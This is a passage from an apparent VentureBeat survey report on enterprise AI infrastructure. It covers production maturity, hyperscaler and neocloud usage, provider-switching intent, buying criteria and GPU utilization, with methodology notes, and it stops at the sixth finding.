The central finding is a compute gap — the distance between how aggressively enterprises are investing in AI infrastructure and how little of its economics they can see. Only about one in five (21%) run AI in production at scale, yet spending intentions are outrunning that maturity: the single largest planned area enterprises plan to evaluate over the next year is AI-specialized clouds (45%), a layer almost none of these enterprises use today. Meanwhile the compute already in place runs cold — 83% report GPU utilization of 50% or less — and fewer than half (44%) can rigorously track what their AI compute costs. Enterprises are buying more infrastructure faster than they can account for what they already own.

Enterprises are not settled on their infrastructure vendors, either: A clear majority (64%) plan to switch or add an infrastructure provider within twelve months, and 38% within the next quarter — unusually high churn intent for a category this foundational. When they choose, they choose on integration with the existing stack (41%) and total cost of ownership (35%), not on headline price: cost per million tokens is the deciding factor for just 8%. And the frontier constraint that will shape the next round of decisions — the shift from GPU compute to memory bandwidth as inference scales — is barely on the radar, with roughly one in five enterprises either unaware of it or yet to address it.

Methodology

VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey focused on enterprise AI infrastructure, compute, and inference economics. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.

By organization size the sample concentrates in the mid-market: 101–250 employees (36%) and 251–1,000 (27%) lead, with 1,001–5,000 (22%), 5,001–10,000 (8%), and 10,001+ (7%) above them. By role it spans managers (38%), individual contributors (28%), VPs and directors (19%), and the C-suite (13%); on purchasing authority it is buyer-credible, with 45% final decision-makers and another 30% recommenders or influencers for AI solutions. Technology/Software is the largest industry at 26%, followed by Healthcare/Life Sciences (15%), Financial Services (13%), and Retail/E-commerce (12%).

At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It also skews toward the mid-market and toward earlier-stage adopters, so it is best read as the view from organizations actively building out AI infrastructure rather than from the largest hyperscale operators.

Finding 1: Ambition outpaces production

Only one in five run AI in production at scale

We asked where organizations sit in their AI deployment journey. Most are still building toward production rather than operating at scale.

The maturity curve is front-loaded. Three-quarters of enterprises (76%) are either experimenting or running only some workloads in production, and just 21% describe AI in production at scale. This matters for everything that follows: the infrastructure decisions in this report are being made largely by organizations still early in deployment, whose compute footprint — and whose costs — are about to grow. The evaluation and switching intentions in Findings 3 and 4 are the leading edge of that build-out, not the settled preferences of operators who have already found what works.

Finding 2: Enterprises run on hyperscalers and model APIs

The specialized GPU clouds barely register — today

We asked which providers and platforms enterprises currently use to run their AI. The answer is a familiar one: the incumbents.

The current stack is hyperscaler-and-API. Google Cloud leads at 48%, and the general-purpose clouds (Google, Microsoft, AWS, Oracle) together with the major model APIs (Gemini, OpenAI, Anthropic) account for essentially all current deployment. The specialized “neocloud” GPU providers that dominate AI-infrastructure headlines — CoreWeave, Lambda, Crusoe, Nebius and peers — register at or near zero among these enterprises today. Only 6% run their own on-prem GPU clusters and 4% a custom open-source stack. Enterprises are, for now, running AI on the providers they already buy from — which makes the evaluation intentions in Finding 3 all the more striking.

(A note on reading these shares. As described in the methodology section, this sample is self-selected and skews mid-market, and this question counted every provider a respondent uses — an average of 2.1 selections each — so the figures measure presence in the stack rather than spending or primary status. A sample built this way will show a different provider mix than a spend-weighted census of the broader market; Google's strength here, for example, is consistent with its long-standing position among smaller enterprises building on AI. Read these shares as a portrait of what this AI-active cohort runs today, and treat gaps between these figures and industry-wide market share estimates as a property of the sample rather than a contradiction of either.)

Finding 3: The next dollar goes to infrastructure they don’t yet run

AI-specialized clouds top the evaluations list

We asked where enterprises planned to evaluate AI infrastructure over the next 12 months. Their answers point away from the stack they run today.

Here is the report’s sharpest tension. The single most-cited planned evaluation area — AI-specialized clouds, at 45% — is the very category almost none of these enterprises use today (Finding 2). Nearly a third (32%) intend to evaluate non-Nvidia accelerators, and 28% in next-generation Nvidia silicon; even decentralized compute networks (16%) and sovereign compute (11%) draw meaningful interest. Read against current usage, this is not incremental — it is the leading edge of a re-platforming. The direction-of-travel question tells the same story: every infrastructure approach is net-expanding, but specialized AI clouds carry the highest net momentum (+24), edging out even the hyperscalers (+22). Enterprises are preparing to move a meaningful share of AI compute off the general-purpose cloud.

This continues a trend we saw in our April-May survey wave. Back then, usage of the AI-specialized clouds was equally marginal — CoreWeave at 3%, Lambda at 4%, Crusoe at 2% of enterprises. When we asked enterprises what change they planned in their AI infrastructure strategy over the next twelve months, the most-cited answer was moving workloads to specialized AI clouds, at 33%. Asked in April-May which emerging compute option they were most likely to evaluate AI-specialized clouds again drew the most responses. Two waves, two differently worded questions, one consistent picture: the type of cloud enterprises are most eager to assess is the type they have barely begun to use.

Finding 4: A switching wave is building

Six in 10 plan to change providers within a year — many within a quarter

We asked whether and when enterprises plan to switch or add an infrastructure provider. Very few intend to stand still.

For a category as foundational as compute, this is a remarkable amount of intended movement. Only 36% have no plans to change, meaning a clear majority (64%) intend to switch or add a provider within twelve months — and 38% within the next quarter alone. Where that interest points is telling: the providers drawing the most switching consideration are again the incumbents — Microsoft Azure and Google Cloud (33% each), OpenAI (30%), and Gemini (22%) — which suggests much of the near-term movement is reshuffling among the majors and consolidating spend rather than defecting to new entrants. The neocloud interest in Finding 3 is a 12-month evaluation thesis; the switching in the next quarter is mostly incumbents trading share.

(Method note: Respondents who selected both "no plans to change" and a specific switching window are counted as switchers, on the logic that naming a timeframe is the more specific answer; three respondents were reclassified under this rule.)

Finding 5: Nobody buys on token price

Integration and total cost of ownership decide — not sticker price

We asked what matters most when enterprises select an AI infrastructure provider. Headline price finished last.

Enterprises do not buy AI infrastructure on pricing, which is the place vendors compete on hardest. Integration with the existing stack (41%) and total cost of ownership (35%) dominate, while the headline metric — cost per million tokens — is the deciding factor for just 8%, dead last. The pattern is coherent: buyers are optimizing for how a provider fits and what it truly costs to operate, not for the advertised unit rate. It also foreshadows Finding 7 — enterprises say TCO matters most, yet most cannot yet measure it rigorously. The stated priority and the measured capability are out of step.

Finding 6: Expensive GPUs, idle most of the time

83% report GPU utilization of 50% or less

We asked what share of their GPU capacity enterprises actually utilize. The answer is a well-known but rarely quantified inefficiency.